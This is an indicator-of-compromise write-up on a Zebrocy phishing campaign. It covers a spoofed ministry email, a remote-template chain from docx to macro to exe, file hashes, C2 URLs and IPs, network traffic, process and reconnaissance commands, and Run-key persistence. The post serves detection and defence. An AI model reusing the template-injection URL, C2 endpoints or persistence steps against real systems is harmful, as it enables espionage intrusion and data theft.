#Zebrocy_181018

#IOC #OptiData #VR #Zebrocy #Trojan #xmltarget #W97M

https://pastebin.com/sXcERsQd
exfiltrated data by @Jan0fficial https://pastebin.com/1mR0rZz7
identificated by @Techhelplistcom

FAQ:
https://radetskiy.wordpress.com/2018/10/19/ioc_zebrocy_181018/
https://researchcenter.paloaltonetworks.com/2018/06/unit42-sofacy-groups-parallel-attacks/
https://www.scmagazineuk.com/sofacy-rolls-zebrocy-toolkit-hit-government-targets/article/1486758

attack_vector
--------------
email attach .docx > xml.rels > GET .dotm > macro > exe

email_headers
--------------
Received: from st04.mi6.kiev.ua ([91.198.36.36])
	by out16.mi6.kiev.ua with esmtps (TLSv1:DHE-RSA-AES256-SHA:256)
	(Exim 4.90_1)
	(envelope-from <upap.mfa.gov@i.ua>)
	id 1gD2qn-0006Tb-0i
	for user1@victim000; Thu, 18 Oct 2018 10:36:09 +0300
Received: from web by st04.mi6.kiev.ua with local (Exim 4.80.1)
	(envelope-from <upap.mfa.gov@i.ua>)
	id 1gD2qm-0004NU-RT
	for user1@victim000; Thu, 18 Oct 2018 10:36:08 +0300
To: user1@victim000
Subject: 41500029
From: Політичний департамент <upap.mfa.gov@i.ua>
Date: Thu, 18 Oct 2018 10:36:08 +0300
MIME-Version: 1.0
X-Mailer: I.UA Mail System
X-Server: st04.mi6.kiev.ua
X-Sender-IP: 176.119.30.208
X-User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:62.0) Gecko/20100101 Firefox/62.0

email_subjects
--------------
41500029

files
--------------
SHA-256	c20e5d56b35992fe74e92aebb09c40a9ec4f3d9b3c2a01efbe761fa7921dd97f
File name	1500029.docx
File size	11.4 KB

SHA-256	86bb3b00bcd4878b081e4e4f126bba321b81a17e544d54377a0f590f95209e46
File name	Note_template.dotm
File size	401 KB

SHA-256	c91843a69dcf3fdad0dac1b2f0139d1bb072787a1cfcf7b6e34a96bc3c081d65
File name	~office.exe
File size	353.5 KB

SHA-256	074a5836c5973bb53ab02c2bad66a4743b65c20fd6bf602cfaf09219f32d2426
File name	mslicsrv.exe 	(mcrthost.exe)
File size	164 KB

activity
**************

docx > settings.xml.rels > Target="http://185.203.118.198/documents/Note_template.dotm"

http://185.203.118.198/documents/Note_template.dotm

http://185.203.118.198/en_action_device/center_correct_customer/drivers-i7-x86.php?tbm=C4BA3647

netwrk
--------------
185.203.118.198	OPTIONS /documents/ 			HTTP/1.1 	Microsoft Office Protocol Discovery
185.203.118.198	OPTIONS / 				HTTP/1.1 	Microsoft-WebDAV-MiniRedir/6.1.7601
185.203.118.198	GET /documents/Note_template.dotm 	HTTP/1.1 	Mozilla/4.0
185.203.118.198	HEAD /documents/Note_template.dotm 	HTTP/1.1 	Microsoft Office Existence Discovery
185.203.118.198	POST /en_action_device/center_correct_customer/drivers-i7-x86.php?tbm=AC38D1C7
							HTTP/1.0  (application/x-www-form-urlencoded)	Mozilla v5.1 (Windows NT 6.1; rv:6.0.1) Gecko/20100101 Firefox/6.0.1

comp
--------------
WINWORD.EXE          185.203.118.198:80:80
svchost.exe          185.203.118.198:80:80
WINWORD.EXE          185.203.118.198:80:80
~office.exe          185.203.118.198:80:80
WINWORD.EXE          185.203.118.198:80:80
mslicsrv.exe         138.204.170.189:443:443
mslicsrv.exe         138.204.170.189:443:443

proc
--------------
"C:\Program Files (x86)\Microsoft Office\Office12\WINWORD.EXE" /n /dde
C:\Users\operator\AppData\Roaming\Network\~office.exe
"C:\Program Files (x86)\Microsoft Office\Office12\WINWORD.EXE" /n
C:\Windows\SysWOW64\cmd.exe /c SYSTEMINFO & TASKLIST
"C:\Users\operator\AppData\Roaming\Capability\mslicsrv.exe"

persist
--------------
HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run				18.10.2018 17:11
AudioDrv			c:\users\operator\appdata\roaming\capability\mslicsrv.exe	15.10.2018 16:51

drop
--------------
C:\Users\operator\AppData\Roaming\Network\~office.exe
C:\Users\operator\AppData\Roaming\Capability\mslicsrv.exe

# # #
https://www.virustotal.com/#/file/c20e5d56b35992fe74e92aebb09c40a9ec4f3d9b3c2a01efbe761fa7921dd97f/details
https://www.virustotal.com/#/file/86bb3b00bcd4878b081e4e4f126bba321b81a17e544d54377a0f590f95209e46/details
https://www.virustotal.com/#/file/c91843a69dcf3fdad0dac1b2f0139d1bb072787a1cfcf7b6e34a96bc3c081d65/details
https://www.virustotal.com/#/file/074a5836c5973bb53ab02c2bad66a4743b65c20fd6bf602cfaf09219f32d2426/details

https://analyze.intezer.com/#/analyses/6281721d-1810-487d-9fa1-fcea5e8dc109
https://analyze.intezer.com/#/analyses/e0c0fd5b-3aec-4b81-a685-e2815fac6807